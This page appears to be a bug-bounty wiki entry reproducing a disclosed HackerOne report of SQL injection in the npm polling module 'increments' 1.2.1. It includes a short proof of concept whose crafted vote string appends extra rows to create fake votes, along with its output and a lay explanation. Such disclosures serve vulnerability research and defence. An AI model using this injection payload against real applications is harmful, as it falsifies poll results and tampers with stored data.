[increments] sql injection
The increments npm module does not escape the data passed when recording a vote, so a crafted vote value is interpreted as SQL. An attacker could inject extra rows to create fake votes and skew poll results.
Originally disclosed on HackerOne
- Triaged in 19 days
- Fixed in 10 months
- Disclosed after 11 months
I would like to report SQL Injection in increments.
It allows creating fake polls.
Module
module name: increments
version: 1.2.1
npm page: https://www.npmjs.com/package/increments
Module Description
Increment is a database-driven for creating polls and taking votes for various options, candidates, or parties. Using MongoJS collections as a storage framework, Increments offers in-depth statistical data on generated polls.
Module Stats
[45] downloads in the last week
Vulnerability
Vulnerability Description
This module does not escape voting data allowing attacker to create fake votes.
Steps To Reproduce:
npm install increments- run poc:
const increments = require('increments');
increments.setup('mysql://root:@localhost:3306/test');
increments.poll('fruits', [{name:'Apples'},{name:'Bananas'},{name:'Oranges'},{name:'Pears'}]);
increments.vote('fruits', 'Oranges","0","0","1","0","0","0","0","","0")'+',(123,"Oranges","0","0","1","0","0","0","0","","0")'.repeat(10)+'#');
increments.statistics('fruits', function(e, f) {
console.log( f.projectedWinner );
process.exit(0);
});
Output:
{ name: 'Oranges',
id: 'oranges',
color: undefined,
count: 11,
percentage: 100 }
Supporting Material/References:
State all technical information about the stack where the vulnerability was found
- MacOS
- 8.12.0
- 6.4.1
Wrap up
- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]
Impact
SQL Injection.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could inject SQL through the vote value and create fake votes, distorting poll results.
What the attacker needed
Ability to submit a vote to a poll
How it was found
- Install the increments module.
- Set up the module against a database and create a poll with several options.
- Submit a vote whose option value contains crafted database syntax.
- Read the poll statistics and observe the inflated vote count.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The module builds database commands by gluing together text, including whatever the voter supplies. If a voter types special database characters instead of a normal choice, the database treats them as instructions rather than data. That lets someone add votes that were never really cast.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.